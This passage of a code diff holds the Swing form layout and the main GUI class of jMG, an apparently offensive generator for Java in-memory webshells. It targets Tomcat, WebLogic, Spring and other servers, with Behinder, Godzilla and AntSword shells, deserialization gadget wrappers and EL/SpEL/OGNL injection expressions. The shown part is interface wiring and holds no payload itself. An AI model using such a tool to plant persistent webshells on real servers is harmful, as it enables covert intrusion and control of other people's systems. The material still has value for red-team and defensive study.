|
</component>
|
||||||
|
</children>
|
||||||
|
</grid>
|
||||||
|
<scrollpane id="df5d3" binding="textScrollPane">
|
||||||
|
<constraints>
|
||||||
|
<grid row="5" column="0" row-span="1" col-span="1" vsize-policy="6" hsize-policy="7" anchor="0" fill="3" indent="0" use-parent-layout="false">
|
||||||
|
<minimum-size width="-1" height="360"/>
|
||||||
|
<preferred-size width="36" height="207"/>
|
||||||
|
</grid>
|
||||||
|
</constraints>
|
||||||
|
<properties/>
|
||||||
|
<border type="none"/>
|
||||||
|
<children>
|
||||||
|
<component id="2f007" class="javax.swing.JTextPane" binding="textPane">
|
||||||
|
<constraints/>
|
||||||
|
<properties>
|
||||||
|
<text value=""/>
|
||||||
|
</properties>
|
||||||
|
</component>
|
||||||
|
</children>
|
||||||
|
</scrollpane>
|
||||||
|
<grid id="3932" binding="MiddlePanel" layout-manager="GridLayoutManager" row-count="4" column-count="4" same-size-horizontally="false" same-size-vertically="false" hgap="-1" vgap="-1">
|
||||||
|
<margin top="0" left="0" bottom="0" right="0"/>
|
||||||
|
<constraints>
|
||||||
|
<grid row="2" column="0" row-span="1" col-span="1" vsize-policy="3" hsize-policy="3" anchor="0" fill="3" indent="0" use-parent-layout="false"/>
|
||||||
|
</constraints>
|
||||||
|
<properties/>
|
||||||
|
<border type="none"/>
|
||||||
|
<children>
|
||||||
|
<component id="d00d4" class="javax.swing.JLabel" binding="keyLabel">
|
||||||
|
<constraints>
|
||||||
|
<grid row="0" column="2" row-span="1" col-span="1" vsize-policy="0" hsize-policy="0" anchor="8" fill="0" indent="0" use-parent-layout="false"/>
|
||||||
|
</constraints>
|
||||||
|
<properties>
|
||||||
|
<text resource-bundle="messages" key="key.text"/>
|
||||||
|
</properties>
|
||||||
|
</component>
|
||||||
|
<component id="686ad" class="javax.swing.JLabel" binding="passLabel">
|
||||||
|
<constraints>
|
||||||
|
<grid row="0" column="0" row-span="1" col-span="1" vsize-policy="0" hsize-policy="0" anchor="8" fill="0" indent="0" use-parent-layout="false">
|
||||||
|
<preferred-size width="34" height="16"/>
|
||||||
|
</grid>
|
||||||
|
</constraints>
|
||||||
|
<properties>
|
||||||
|
<text resource-bundle="messages" key="pass.text"/>
|
||||||
|
</properties>
|
||||||
|
</component>
|
||||||
|
<component id="f1c80" class="javax.swing.JLabel" binding="headerValueLabel">
|
||||||
|
<constraints>
|
||||||
|
<grid row="1" column="2" row-span="1" col-span="1" vsize-policy="0" hsize-policy="0" anchor="8" fill="0" indent="0" use-parent-layout="false"/>
|
||||||
|
</constraints>
|
||||||
|
<properties>
|
||||||
|
<text resource-bundle="messages" key="headerValue.text"/>
|
||||||
|
</properties>
|
||||||
|
</component>
|
||||||
|
<component id="ad3ef" class="javax.swing.JTextField" binding="uriText">
|
||||||
|
<constraints>
|
||||||
|
<grid row="3" column="1" row-span="1" col-span="1" vsize-policy="0" hsize-policy="6" anchor="8" fill="1" indent="0" use-parent-layout="false">
|
||||||
|
<preferred-size width="150" height="-1"/>
|
||||||
|
</grid>
|
||||||
|
</constraints>
|
||||||
|
<properties>
|
||||||
|
<text value="/*"/>
|
||||||
|
<toolTipText value="可选,默认为 /*"/>
|
||||||
|
</properties>
|
||||||
|
</component>
|
||||||
|
<component id="feb40" class="javax.swing.JTextField" binding="headerValueText">
|
||||||
|
<constraints>
|
||||||
|
<grid row="1" column="3" row-span="1" col-span="1" vsize-policy="0" hsize-policy="6" anchor="8" fill="1" indent="0" use-parent-layout="false">
|
||||||
|
<preferred-size width="150" height="-1"/>
|
||||||
|
</grid>
|
||||||
|
</constraints>
|
||||||
|
<properties>
|
||||||
|
<toolTipText value="可选,默认随机生成"/>
|
||||||
|
</properties>
|
||||||
|
</component>
|
||||||
|
<component id="56266" class="javax.swing.JTextField" binding="keyText">
|
||||||
|
<constraints>
|
||||||
|
<grid row="0" column="3" row-span="1" col-span="1" vsize-policy="0" hsize-policy="6" anchor="8" fill="1" indent="0" use-parent-layout="false">
|
||||||
|
<preferred-size width="150" height="-1"/>
|
||||||
|
</grid>
|
||||||
|
</constraints>
|
||||||
|
<properties>
|
||||||
|
<toolTipText value="可选,默认随机生成"/>
|
||||||
|
</properties>
|
||||||
|
</component>
|
||||||
|
<component id="82af3" class="javax.swing.JLabel" binding="headerNameLabel">
|
||||||
|
<constraints>
|
||||||
|
<grid row="1" column="0" row-span="1" col-span="1" vsize-policy="0" hsize-policy="0" anchor="8" fill="0" indent="0" use-parent-layout="false"/>
|
||||||
|
</constraints>
|
||||||
|
<properties>
|
||||||
|
<text resource-bundle="messages" key="headerName.text"/>
|
||||||
|
</properties>
|
||||||
|
</component>
|
||||||
|
<component id="5ae4e" class="javax.swing.JLabel" binding="uriLabel">
|
||||||
|
<constraints>
|
||||||
|
<grid row="3" column="0" row-span="1" col-span="1" vsize-policy="0" hsize-policy="0" anchor="8" fill="0" indent="0" use-parent-layout="false"/>
|
||||||
|
</constraints>
|
||||||
|
<properties>
|
||||||
|
<text resource-bundle="messages" key="uri.text"/>
|
||||||
|
</properties>
|
||||||
|
</component>
|
||||||
|
<component id="e7770" class="javax.swing.JTextField" binding="headerNameText">
|
||||||
|
<constraints>
|
||||||
|
<grid row="1" column="1" row-span="1" col-span="1" vsize-policy="0" hsize-policy="6" anchor="8" fill="1" indent="0" use-parent-layout="false">
|
||||||
|
<preferred-size width="150" height="-1"/>
|
||||||
|
</grid>
|
||||||
|
</constraints>
|
||||||
|
<properties>
|
||||||
|
<toolTipText value="可选,默认随机生成"/>
|
||||||
|
</properties>
|
||||||
|
</component>
|
||||||
|
<component id="e2d0f" class="javax.swing.JTextField" binding="passText">
|
||||||
|
<constraints>
|
||||||
|
<grid row="0" column="1" row-span="1" col-span="1" vsize-policy="0" hsize-policy="6" anchor="8" fill="1" indent="0" use-parent-layout="false">
|
||||||
|
<preferred-size width="150" height="-1"/>
|
||||||
|
</grid>
|
||||||
|
</constraints>
|
||||||
|
<properties>
|
||||||
|
<text value=""/>
|
||||||
|
<toolTipText value="可选,默认随机生成"/>
|
||||||
|
</properties>
|
||||||
|
</component>
|
||||||
|
<component id="e461d" class="javax.swing.JLabel" binding="shellClsNameLabel">
|
||||||
|
<constraints>
|
||||||
|
<grid row="2" column="0" row-span="1" col-span="1" vsize-policy="0" hsize-policy="0" anchor="8" fill="0" indent="0" use-parent-layout="false"/>
|
||||||
|
</constraints>
|
||||||
|
<properties>
|
||||||
|
<text resource-bundle="messages" key="shellClsName.text"/>
|
||||||
|
</properties>
|
||||||
|
</component>
|
||||||
|
<component id="cfea8" class="javax.swing.JLabel" binding="injectorClsNameLabel">
|
||||||
|
<constraints>
|
||||||
|
<grid row="2" column="2" row-span="1" col-span="1" vsize-policy="0" hsize-policy="0" anchor="8" fill="0" indent="0" use-parent-layout="false"/>
|
||||||
|
</constraints>
|
||||||
|
<properties>
|
||||||
|
<text resource-bundle="messages" key="injectorClsName.text"/>
|
||||||
|
</properties>
|
||||||
|
</component>
|
||||||
|
<component id="85281" class="javax.swing.JTextField" binding="injectorClsNameText">
|
||||||
|
<constraints>
|
||||||
|
<grid row="2" column="3" row-span="1" col-span="1" vsize-policy="0" hsize-policy="6" anchor="8" fill="1" indent="0" use-parent-layout="false">
|
||||||
|
<preferred-size width="150" height="-1"/>
|
||||||
|
</grid>
|
||||||
|
</constraints>
|
||||||
|
<properties>
|
||||||
|
<toolTipText value="可选,默认随机生成"/>
|
||||||
|
</properties>
|
||||||
|
</component>
|
||||||
|
<component id="f7207" class="javax.swing.JTextField" binding="shellClsNameText">
|
||||||
|
<constraints>
|
||||||
|
<grid row="2" column="1" row-span="1" col-span="1" vsize-policy="0" hsize-policy="6" anchor="8" fill="1" indent="0" use-parent-layout="false">
|
||||||
|
<preferred-size width="150" height="-1"/>
|
||||||
|
</grid>
|
||||||
|
</constraints>
|
||||||
|
<properties>
|
||||||
|
<toolTipText value="可选,默认随机生成"/>
|
||||||
|
</properties>
|
||||||
|
</component>
|
||||||
|
</children>
|
||||||
|
</grid>
|
||||||
|
<component id="a889a" class="javax.swing.JSeparator" binding="TopSep">
|
||||||
|
<constraints>
|
||||||
|
<grid row="1" column="0" row-span="1" col-span="1" vsize-policy="0" hsize-policy="6" anchor="0" fill="3" indent="0" use-parent-layout="false"/>
|
||||||
|
</constraints>
|
||||||
|
<properties/>
|
||||||
|
</component>
|
||||||
|
<component id="9582c" class="javax.swing.JSeparator" binding="MiddleSep">
|
||||||
|
<constraints>
|
||||||
|
<grid row="3" column="0" row-span="1" col-span="1" vsize-policy="0" hsize-policy="6" anchor="0" fill="3" indent="0" use-parent-layout="false"/>
|
||||||
|
</constraints>
|
||||||
|
<properties/>
|
||||||
|
</component>
|
||||||
|
<grid id="ff8e2" binding="BottomPanel" layout-manager="GridLayoutManager" row-count="1" column-count="5" same-size-horizontally="false" same-size-vertically="false" hgap="-1" vgap="-1">
|
||||||
|
<margin top="0" left="0" bottom="0" right="0"/>
|
||||||
|
<constraints>
|
||||||
|
<grid row="4" column="0" row-span="1" col-span="1" vsize-policy="3" hsize-policy="3" anchor="0" fill="3" indent="0" use-parent-layout="false"/>
|
||||||
|
</constraints>
|
||||||
|
<properties/>
|
||||||
|
<border type="none"/>
|
||||||
|
<children>
|
||||||
|
<component id="a29cd" class="javax.swing.JCheckBox" binding="enableGadget">
|
||||||
|
<constraints>
|
||||||
|
<grid row="0" column="0" row-span="1" col-span="1" vsize-policy="0" hsize-policy="0" anchor="0" fill="1" indent="0" use-parent-layout="false"/>
|
||||||
|
</constraints>
|
||||||
|
<properties>
|
||||||
|
<text resource-bundle="messages" key="gadget.text"/>
|
||||||
|
<toolTipText value="根据漏洞类型自动完成对类文件的封装,如继承类、实现接口、添加注解等"/>
|
||||||
|
</properties>
|
||||||
|
</component>
|
||||||
|
<component id="3c3cb" class="javax.swing.JComboBox" binding="gadgetTypeBox">
|
||||||
|
<constraints>
|
||||||
|
<grid row="0" column="1" row-span="1" col-span="1" vsize-policy="0" hsize-policy="2" anchor="8" fill="0" indent="0" use-parent-layout="false"/>
|
||||||
|
</constraints>
|
||||||
|
<properties>
|
||||||
|
<model>
|
||||||
|
<item value="JDK_AbstractTranslet"/>
|
||||||
|
<item value="SnakeYaml"/>
|
||||||
|
<item value="XALAN_AbstractTranslet"/>
|
||||||
|
<item value="FastjsonGroovy"/>
|
||||||
|
</model>
|
||||||
|
</properties>
|
||||||
|
</component>
|
||||||
|
<component id="dfe4d" class="javax.swing.JCheckBox" binding="enableExpr">
|
||||||
|
<constraints>
|
||||||
|
<grid row="0" column="2" row-span="1" col-span="1" vsize-policy="0" hsize-policy="0" anchor="0" fill="1" indent="0" use-parent-layout="false"/>
|
||||||
|
</constraints>
|
||||||
|
<properties>
|
||||||
|
<text resource-bundle="messages" key="expr.text"/>
|
||||||
|
<toolTipText value="根据语句类型自动生成相应内存马注入的表达式语句"/>
|
||||||
|
</properties>
|
||||||
|
</component>
|
||||||
|
<component id="aa87f" class="javax.swing.JComboBox" binding="exprBox">
|
||||||
|
<constraints>
|
||||||
|
<grid row="0" column="3" row-span="1" col-span="1" vsize-policy="0" hsize-policy="2" anchor="8" fill="0" indent="0" use-parent-layout="false"/>
|
||||||
|
</constraints>
|
||||||
|
<properties>
|
||||||
|
<model>
|
||||||
|
<item value="EL"/>
|
||||||
|
<item value="SpEL"/>
|
||||||
|
<item value="OGNL"/>
|
||||||
|
<item value="FreeMarker"/>
|
||||||
|
<item value="Velocity"/>
|
||||||
|
<item value="ScriptEngineManager(JS)"/>
|
||||||
|
</model>
|
||||||
|
</properties>
|
||||||
|
</component>
|
||||||
|
<component id="3a0da" class="javax.swing.JButton" binding="generateButton">
|
||||||
|
<constraints>
|
||||||
|
<grid row="0" column="4" row-span="1" col-span="1" vsize-policy="0" hsize-policy="2" anchor="4" fill="0" indent="0" use-parent-layout="false"/>
|
||||||
|
</constraints>
|
||||||
|
<properties>
|
||||||
|
<text resource-bundle="messages" key="generate.text"/>
|
||||||
|
</properties>
|
||||||
|
</component>
|
||||||
|
</children>
|
||||||
|
</grid>
|
||||||
|
<grid id="61400" binding="TipPanel" layout-manager="GridLayoutManager" row-count="1" column-count="3" same-size-horizontally="false" same-size-vertically="false" hgap="-1" vgap="-1">
|
||||||
|
<margin top="0" left="0" bottom="0" right="0"/>
|
||||||
|
<constraints>
|
||||||
|
<grid row="6" column="0" row-span="1" col-span="1" vsize-policy="3" hsize-policy="3" anchor="0" fill="3" indent="0" use-parent-layout="false"/>
|
||||||
|
</constraints>
|
||||||
|
<properties/>
|
||||||
|
<border type="none"/>
|
||||||
|
<children>
|
||||||
|
<hspacer id="28a9f">
|
||||||
|
<constraints>
|
||||||
|
<grid row="0" column="1" row-span="1" col-span="1" vsize-policy="1" hsize-policy="6" anchor="0" fill="1" indent="0" use-parent-layout="false"/>
|
||||||
|
</constraints>
|
||||||
|
</hspacer>
|
||||||
|
<component id="da658" class="javax.swing.JLabel" binding="authorLabel">
|
||||||
|
<constraints>
|
||||||
|
<grid row="0" column="0" row-span="1" col-span="1" vsize-policy="0" hsize-policy="0" anchor="8" fill="0" indent="0" use-parent-layout="false"/>
|
||||||
|
</constraints>
|
||||||
|
<properties>
|
||||||
|
<text value="请勿用于非法用途"/>
|
||||||
|
</properties>
|
||||||
|
</component>
|
||||||
|
<component id="c8061" class="javax.swing.JLabel" binding="noticeLabel">
|
||||||
|
<constraints>
|
||||||
|
<grid row="0" column="2" row-span="1" col-span="1" vsize-policy="0" hsize-policy="0" anchor="8" fill="0" indent="0" use-parent-layout="false"/>
|
||||||
|
</constraints>
|
||||||
|
<properties>
|
||||||
|
<text value="by pen4uin"/>
|
||||||
|
</properties>
|
||||||
|
</component>
|
||||||
|
</children>
|
||||||
|
</grid>
|
||||||
|
</children>
|
||||||
|
</grid>
|
||||||
|
</form>
|
||||||
@@ -0,0 +1,616 @@
|
|||||||
|
package jmg.gui.form;
|
||||||
|
|
||||||
|
import com.intellij.uiDesigner.core.GridConstraints;
|
||||||
|
import com.intellij.uiDesigner.core.GridLayoutManager;
|
||||||
|
import com.intellij.uiDesigner.core.Spacer;
|
||||||
|
import jmg.core.config.AbstractConfig;
|
||||||
|
import jmg.core.config.Constants;
|
||||||
|
import jmg.core.generator.InjectorGenerator;
|
||||||
|
import jmg.core.util.ClassNameUtil;
|
||||||
|
import jmg.core.util.CommonUtil;
|
||||||
|
import jmg.core.util.RandomHttpHeaderUtil;
|
||||||
|
import jmg.gui.util.*;
|
||||||
|
|
||||||
|
import javax.swing.*;
|
||||||
|
import javax.swing.border.EmptyBorder;
|
||||||
|
import javax.swing.filechooser.FileFilter;
|
||||||
|
import java.awt.*;
|
||||||
|
import java.awt.event.ActionEvent;
|
||||||
|
import java.awt.event.ActionListener;
|
||||||
|
import java.awt.event.ItemEvent;
|
||||||
|
import java.awt.event.ItemListener;
|
||||||
|
import java.io.File;
|
||||||
|
import java.lang.reflect.Method;
|
||||||
|
import java.util.Locale;
|
||||||
|
import java.util.Map;
|
||||||
|
import java.util.ResourceBundle;
|
||||||
|
|
||||||
|
public class jMGForm {
|
||||||
|
private static JFrame frame;
|
||||||
|
private JComboBox toolBox;
|
||||||
|
private JComboBox serverBox;
|
||||||
|
private JComboBox shellBox;
|
||||||
|
private JComboBox formatBox;
|
||||||
|
private JTextField uriText;
|
||||||
|
private JTextField headerValueText;
|
||||||
|
private JTextField keyText;
|
||||||
|
private JTextField headerNameText;
|
||||||
|
private JTextField passText;
|
||||||
|
private JTextField injectorClsNameText;
|
||||||
|
private JTextField shellClsNameText;
|
||||||
|
private JCheckBox enableGadget;
|
||||||
|
private JComboBox gadgetTypeBox;
|
||||||
|
private JCheckBox enableExpr;
|
||||||
|
private JComboBox exprBox;
|
||||||
|
private JButton generateButton;
|
||||||
|
private JPanel jMGPanel;
|
||||||
|
private JPanel TopPanel;
|
||||||
|
private JLabel toolLabel;
|
||||||
|
private JLabel formatLabel;
|
||||||
|
private JLabel serverLabel;
|
||||||
|
private JLabel shellLabel;
|
||||||
|
private JScrollPane textScrollPane;
|
||||||
|
private JPanel MiddlePanel;
|
||||||
|
private JLabel keyLabel;
|
||||||
|
private JLabel passLabel;
|
||||||
|
private JLabel headerValueLabel;
|
||||||
|
private JLabel headerNameLabel;
|
||||||
|
private JLabel uriLabel;
|
||||||
|
private JLabel shellClsNameLabel;
|
||||||
|
private JLabel injectorClsNameLabel;
|
||||||
|
private JSeparator TopSep;
|
||||||
|
private JSeparator MiddleSep;
|
||||||
|
private JLabel authorLabel;
|
||||||
|
private JLabel noticeLabel;
|
||||||
|
private JPanel BottomPanel;
|
||||||
|
private JPanel TipPanel;
|
||||||
|
private JTextPane textPane;
|
||||||
|
|
||||||
|
private AbstractConfig config;
|
||||||
|
|
||||||
|
|
||||||
|
public static void start() {
|
||||||
|
Locale.setDefault(Locale.CHINA);
|
||||||
|
frame = new JFrame(Constants.JMG_NAME + " " + Constants.JMG_VERSION);
|
||||||
|
|
||||||
|
// 将窗口居中显示,解决 windows 下靠左的问题
|
||||||
|
frame.setLocationRelativeTo(null);
|
||||||
|
|
||||||
|
frame.setResizable(true);
|
||||||
|
jMGForm jmgForm = new jMGForm();
|
||||||
|
JPanel contentPanel = jmgForm.jMGPanel;
|
||||||
|
|
||||||
|
contentPanel.setBorder(new EmptyBorder(8, 10, 8, 10));
|
||||||
|
|
||||||
|
frame.setContentPane(contentPanel);
|
||||||
|
frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
|
||||||
|
|
||||||
|
frame.setJMenuBar(MenuUtil.createMenuBar(frame));
|
||||||
|
frame.pack();
|
||||||
|
frame.setVisible(true);
|
||||||
|
Dimension screenSize = Toolkit.getDefaultToolkit().getScreenSize();
|
||||||
|
int centerX = screenSize.width / 2;
|
||||||
|
int centerY = screenSize.height / 2;
|
||||||
|
Dimension jfSize = frame.getSize();
|
||||||
|
int halfwidth = jfSize.width / 2;
|
||||||
|
int halfHeight = jfSize.height / 2;
|
||||||
|
frame.setLocation(centerX - halfwidth, centerY - halfHeight);
|
||||||
|
}
|
||||||
|
|
||||||
|
private String serverType = Constants.SERVER_TOMCAT;
|
||||||
|
private String shellType = Constants.SHELL_LISTENER;
|
||||||
|
private String gadgetType = Constants.GADGET_JDK_TRANSLET;
|
||||||
|
private String toolType = Constants.TOOL_BEHINDER;
|
||||||
|
private String formatType = Constants.FORMAT_BASE64;
|
||||||
|
|
||||||
|
public jMGForm() {
|
||||||
|
config = new AbstractConfig();
|
||||||
|
|
||||||
|
String[] servletApiShellBox = {Constants.SHELL_LISTENER, Constants.SHELL_FILTER};
|
||||||
|
String[] servletApiServerBox = {Constants.SERVER_TOMCAT, Constants.SERVER_RESIN, Constants.SERVER_WEBLOGIC, Constants.SERVER_WEBSPHERE, Constants.SERVER_JETTY, Constants.SERVER_UNDERTOW, Constants.SERVER_GLASSFISH, Constants.SERVER_JBOSS};
|
||||||
|
String[] interceptorServerBox = {Constants.SERVER_SPRING_MVC};
|
||||||
|
String[] interceptorShellBox = {Constants.SHELL_INTERCEPTOR};
|
||||||
|
String[] handlerMethodServerBox = {Constants.SERVER_SPRING_WEBFLUX};
|
||||||
|
String[] handlerMethodShellBox = {Constants.SHELL_WF_HANDLERMETHOD};
|
||||||
|
String[] behinderServerBox = CommonUtil.concatenateArrays(servletApiServerBox, interceptorServerBox);
|
||||||
|
String[] behinderShellBox = CommonUtil.concatenateArrays(servletApiShellBox, interceptorShellBox);
|
||||||
|
String[] godzillaServerBox = CommonUtil.concatenateArrays(behinderServerBox, handlerMethodServerBox);
|
||||||
|
String[] godzillaShellBox = CommonUtil.concatenateArrays(behinderShellBox, handlerMethodShellBox);
|
||||||
|
String[] formatBoxForOther = new String[]{Constants.FORMAT_BASE64, Constants.FORMAT_BIGINTEGER, Constants.FORMAT_BCEL, Constants.FORMAT_CLASS, Constants.FORMAT_JAR, Constants.FORMAT_JS, Constants.FORMAT_JSP};
|
||||||
|
String[] formatBoxForTomcat = new String[]{Constants.FORMAT_BASE64, Constants.FORMAT_BIGINTEGER, Constants.FORMAT_BCEL, Constants.FORMAT_CLASS, Constants.FORMAT_JAR, Constants.FORMAT_JAR_AGENT, Constants.FORMAT_JS, Constants.FORMAT_JSP};
|
||||||
|
|
||||||
|
String[] exprEncoderBoxItems = new String[]{Constants.EXPR_EL, Constants.EXPR_SPEL, Constants.EXPR_OGNL, Constants.EXPR_FREEMARKER, Constants.EXPR_VELOCITY, Constants.EXPR_JS};
|
||||||
|
String[] gadgetTypeBoxItems = new String[]{Constants.GADGET_JDK_TRANSLET, Constants.GADGET_SNAKEYAML, Constants.GADGET_FJ_GROOVY, Constants.GADGET_XALAN_TRANSLET};
|
||||||
|
|
||||||
|
formatBox.setModel(new DefaultComboBoxModel<>(formatBoxForTomcat));
|
||||||
|
serverBox.setModel(new DefaultComboBoxModel(behinderServerBox));
|
||||||
|
shellBox.setModel(new DefaultComboBoxModel(servletApiShellBox));
|
||||||
|
toolBox.addActionListener(new ActionListener() {
|
||||||
|
public void actionPerformed(ActionEvent e) {
|
||||||
|
toolType = (String) toolBox.getSelectedItem();
|
||||||
|
if (toolType.equals(Constants.TOOL_GODZILLA)) {
|
||||||
|
serverBox.setModel(new DefaultComboBoxModel(godzillaServerBox));
|
||||||
|
shellBox.setModel(new DefaultComboBoxModel(godzillaShellBox));
|
||||||
|
|
||||||
|
} else if (toolType.equals(Constants.TOOL_ANTSWORD)) {
|
||||||
|
shellBox.setModel(new DefaultComboBoxModel(servletApiShellBox));
|
||||||
|
serverBox.setModel(new DefaultComboBoxModel(servletApiServerBox));
|
||||||
|
} else if (toolType.equals(Constants.TOOL_CUSTOM)) {
|
||||||
|
JFileChooser fileChooser = new JFileChooser();
|
||||||
|
FileFilter classFileFilter = new FileFilter() {
|
||||||
|
@Override
|
||||||
|
public boolean accept(File file) {
|
||||||
|
return file.isDirectory() || file.getName().toLowerCase().endsWith(".class");
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public String getDescription() {
|
||||||
|
return "Java Class Files (*.class)";
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
fileChooser.setFileFilter(classFileFilter);
|
||||||
|
|
||||||
|
fileChooser.setFileSelectionMode(JFileChooser.FILES_ONLY);
|
||||||
|
|
||||||
|
int result = fileChooser.showSaveDialog(jMGPanel);
|
||||||
|
if (result == JFileChooser.APPROVE_OPTION) {
|
||||||
|
String selectedPath = fileChooser.getSelectedFile().getPath();
|
||||||
|
config.setClassFilePath(selectedPath);
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
serverBox.setModel(new DefaultComboBoxModel(behinderServerBox));
|
||||||
|
shellBox.setModel(new DefaultComboBoxModel(behinderShellBox));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
|
||||||
|
serverBox.addActionListener(new ActionListener() {
|
||||||
|
public void actionPerformed(ActionEvent e) {
|
||||||
|
serverType = (String) serverBox.getSelectedItem();
|
||||||
|
if (serverType.equals(Constants.SERVER_SPRING_MVC)) {
|
||||||
|
shellBox.setModel(new DefaultComboBoxModel<>(interceptorShellBox));
|
||||||
|
shellType = (String) shellBox.getSelectedItem();
|
||||||
|
} else if (serverType.equals(Constants.SERVER_SPRING_WEBFLUX)) {
|
||||||
|
shellBox.setModel(new DefaultComboBoxModel<>(handlerMethodShellBox));
|
||||||
|
shellType = (String) shellBox.getSelectedItem();
|
||||||
|
} else {
|
||||||
|
shellBox.setModel(new DefaultComboBoxModel<>(servletApiShellBox));
|
||||||
|
shellType = (String) shellBox.getSelectedItem();
|
||||||
|
}
|
||||||
|
if (!serverType.equals(Constants.SERVER_TOMCAT) && !serverType.equals(Constants.SERVER_SPRING_MVC)) {
|
||||||
|
formatBox.setModel(new DefaultComboBoxModel<>(formatBoxForOther));
|
||||||
|
} else {
|
||||||
|
formatBox.setModel(new DefaultComboBoxModel<>(formatBoxForTomcat));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
|
||||||
|
shellBox.addActionListener(new ActionListener() {
|
||||||
|
public void actionPerformed(ActionEvent e) {
|
||||||
|
shellType = (String) shellBox.getSelectedItem();
|
||||||
|
}
|
||||||
|
|
||||||
|
});
|
||||||
|
|
||||||
|
formatBox.addActionListener(new ActionListener() {
|
||||||
|
public void actionPerformed(ActionEvent e) {
|
||||||
|
formatType = (String) formatBox.getSelectedItem();
|
||||||
|
assert formatType != null;
|
||||||
|
if (formatType.equalsIgnoreCase(Constants.FORMAT_CLASS) || formatType.equalsIgnoreCase(Constants.FORMAT_JSP) || formatType.equalsIgnoreCase(Constants.FORMAT_JAR) || formatType.equalsIgnoreCase(Constants.FORMAT_JAR_AGENT)) {
|
||||||
|
JFileChooser fileChooser = new JFileChooser();
|
||||||
|
fileChooser.setFileSelectionMode(JFileChooser.DIRECTORIES_ONLY);
|
||||||
|
int result = fileChooser.showSaveDialog(jMGPanel);
|
||||||
|
if (result == JFileChooser.APPROVE_OPTION) {
|
||||||
|
String selectedPath = fileChooser.getSelectedFile().getPath();
|
||||||
|
config.setSavePath(selectedPath);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
|
||||||
|
// 可选参数设置
|
||||||
|
passText.getDocument().putProperty("owner", passText);
|
||||||
|
passText.getDocument().addDocumentListener(ComponentUtil.createDocumentListener(passText, config::setPass));
|
||||||
|
|
||||||
|
keyText.getDocument().putProperty("owner", keyText);
|
||||||
|
keyText.getDocument().addDocumentListener(ComponentUtil.createDocumentListener(keyText, config::setKey));
|
||||||
|
|
||||||
|
shellClsNameText.getDocument().putProperty("owner", shellClsNameText);
|
||||||
|
shellClsNameText.getDocument().addDocumentListener(ComponentUtil.createDocumentListener(shellClsNameText, config::setShellClassName));
|
||||||
|
|
||||||
|
injectorClsNameText.getDocument().putProperty("owner", injectorClsNameText);
|
||||||
|
injectorClsNameText.getDocument().addDocumentListener(ComponentUtil.createDocumentListener(injectorClsNameText, config::setInjectorClassName));
|
||||||
|
|
||||||
|
uriText.getDocument().putProperty("owner", uriText);
|
||||||
|
uriText.getDocument().addDocumentListener(ComponentUtil.createDocumentListener(uriText, config::setUrlPattern));
|
||||||
|
|
||||||
|
headerNameText.getDocument().putProperty("owner", headerNameText);
|
||||||
|
headerNameText.getDocument().addDocumentListener(ComponentUtil.createDocumentListener(headerNameText, config::setHeaderName));
|
||||||
|
|
||||||
|
headerValueText.getDocument().putProperty("owner", headerValueText);
|
||||||
|
headerValueText.getDocument().addDocumentListener(ComponentUtil.createDocumentListener(headerValueText, config::setHeaderValue));
|
||||||
|
|
||||||
|
|
||||||
|
exprBox.setEnabled(false);
|
||||||
|
|
||||||
|
enableExpr.addItemListener(new ItemListener() {
|
||||||
|
@Override
|
||||||
|
public void itemStateChanged(ItemEvent e) {
|
||||||
|
if (enableExpr.isSelected()) {
|
||||||
|
config.setExprEncoder(Constants.EXPR_EL);
|
||||||
|
exprBox.setEnabled(enableExpr.isSelected());
|
||||||
|
} else {
|
||||||
|
exprBox.setEnabled(enableExpr.isSelected());
|
||||||
|
config.setExprEncoder(null);
|
||||||
|
exprBox.setModel(new DefaultComboBoxModel(exprEncoderBoxItems));
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
exprBox.addItemListener(new ItemListener() {
|
||||||
|
@Override
|
||||||
|
public void itemStateChanged(ItemEvent e) {
|
||||||
|
if (e.getStateChange() == ItemEvent.SELECTED && exprBox.isEnabled()) {
|
||||||
|
config.setExprEncoder((String) exprBox.getSelectedItem());
|
||||||
|
} else {
|
||||||
|
config.setExprEncoder(null);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
gadgetTypeBox.setEnabled(false);
|
||||||
|
enableGadget.addItemListener(new ItemListener() {
|
||||||
|
@Override
|
||||||
|
public void itemStateChanged(ItemEvent e) {
|
||||||
|
if (enableGadget.isSelected()) {
|
||||||
|
config.setGadgetType(gadgetType);
|
||||||
|
gadgetTypeBox.setEnabled(enableGadget.isSelected());
|
||||||
|
} else {
|
||||||
|
gadgetTypeBox.setEnabled(enableGadget.isSelected());
|
||||||
|
config.setGadgetType(null);
|
||||||
|
gadgetTypeBox.setModel(new DefaultComboBoxModel(gadgetTypeBoxItems));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
gadgetTypeBox.addItemListener(new ItemListener() {
|
||||||
|
@Override
|
||||||
|
public void itemStateChanged(ItemEvent e) {
|
||||||
|
if (e.getStateChange() == ItemEvent.SELECTED && gadgetTypeBox.isEnabled()) {
|
||||||
|
config.setGadgetType((String) gadgetTypeBox.getSelectedItem());
|
||||||
|
} else {
|
||||||
|
config.setGadgetType(null);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
|
||||||
|
generateButton.addActionListener(new ActionListener() {
|
||||||
|
@Override
|
||||||
|
public void actionPerformed(ActionEvent e) {
|
||||||
|
TextPaneUtil.initTextPane(textPane);
|
||||||
|
TextPaneUtil.startPrintln(toolType + " " + serverType + " " + shellType + " " + formatType + "\n");
|
||||||
|
try {
|
||||||
|
initConfig(config);
|
||||||
|
new ShellGeneratorUtil().makeShell(config);
|
||||||
|
new InjectorGenerator().makeInjector(config);
|
||||||
|
ResultUtil.resultOutput(config);
|
||||||
|
ComponentUtil.restoreScrollPosition(textScrollPane);
|
||||||
|
resetConfig(config);
|
||||||
|
} catch (Throwable ex) {
|
||||||
|
resetConfig(config);
|
||||||
|
TextPaneUtil.errorPrintln(CommonUtil.getThrowableStackTrace(ex));
|
||||||
|
}
|
||||||
|
}
|
||||||
